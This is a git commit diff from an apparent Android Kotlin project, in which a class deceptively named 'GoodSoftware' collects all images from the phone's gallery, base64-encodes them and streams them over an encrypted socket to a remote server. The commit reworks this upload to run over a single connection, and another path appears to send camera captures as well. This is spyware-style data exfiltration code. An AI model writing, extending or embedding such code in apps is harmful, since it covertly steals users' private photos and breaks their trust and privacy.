Multiple files over 1 connection
This commit is contained in:
parent
ccc95f15ef
commit
9f3955cdba
12
.idea/deploymentTargetDropDown.xml
generated
12
.idea/deploymentTargetDropDown.xml
generated
@ -4,18 +4,6 @@
|
||||
<value>
|
||||
<entry key="MainActivity">
|
||||
<State>
|
||||
<runningDeviceTargetSelectedWithDropDown>
|
||||
<Target>
|
||||
<type value="RUNNING_DEVICE_TARGET" />
|
||||
<deviceKey>
|
||||
<Key>
|
||||
<type value="SERIAL_NUMBER" />
|
||||
<value value="4d16b842" />
|
||||
</Key>
|
||||
</deviceKey>
|
||||
</Target>
|
||||
</runningDeviceTargetSelectedWithDropDown>
|
||||
<timeTargetWasSelectedWithDropDown value="2024-05-02T13:08:12.236226337Z" />
|
||||
<targetsSelectedWithDialog>
|
||||
<Target>
|
||||
<type value="QUICK_BOOT_TARGET" />
|
||||
|
@ -160,13 +160,14 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
try {
|
||||
val imageList = getAllImagesFromGallery(activity)
|
||||
println(imageList)
|
||||
val connection = establishConnection()
|
||||
for (image in imageList) {
|
||||
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
||||
Thread {
|
||||
println("Sending data to server")
|
||||
sendDataToServer(base64Image, establishConnection())
|
||||
}.start()
|
||||
println("Image send $image")
|
||||
sendDataToServer(base64Image, connection)
|
||||
next(connection)
|
||||
}
|
||||
disconnect(connection)
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
// Handle the exception, e.g., log the error or notify the user
|
||||
@ -306,6 +307,8 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
writer.println(encryptText(encodedUid, pKey))
|
||||
reader.readLine()
|
||||
|
||||
println("Connection, OK!")
|
||||
|
||||
return ConnectionResult(socket, reader, writer, key, iv, algorithm)
|
||||
}
|
||||
fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
|
||||
@ -322,26 +325,25 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
writer.println("END_OF_DATA")
|
||||
reader.readLine()
|
||||
|
||||
println("Client: Ready for next operation")
|
||||
writer.println("Ready for next operation")
|
||||
reader.readLine()
|
||||
|
||||
// Close resources
|
||||
writer.close()
|
||||
reader.close()
|
||||
socket.close()
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
// Handle the exception, e.g., log the error or notify the user
|
||||
}
|
||||
}
|
||||
|
||||
fun next(connectionResult: ConnectionResult) {
|
||||
val (socket, reader, writer, _, _, _) = connectionResult
|
||||
try {
|
||||
writer.println("NEXT")
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
fun disconnect(connectionResult: ConnectionResult) {
|
||||
val (socket, reader, writer, _, _, _) = connectionResult
|
||||
try {
|
||||
writer.println("END_OF_COMMUNICATION")
|
||||
reader.readLine()
|
||||
println("Disconnect")
|
||||
writer.close()
|
||||
reader.close()
|
||||
socket.close()
|
||||
@ -390,7 +392,9 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
//Log.d(picture.TAG, "Base64 Image: $base64Image")
|
||||
Thread {
|
||||
println("Sending data to server")
|
||||
sendDataToServer(base64Image, establishConnection())
|
||||
val conn = establishConnection()
|
||||
sendDataToServer(base64Image, conn)
|
||||
disconnect(conn)
|
||||
}.start()
|
||||
image.close()
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user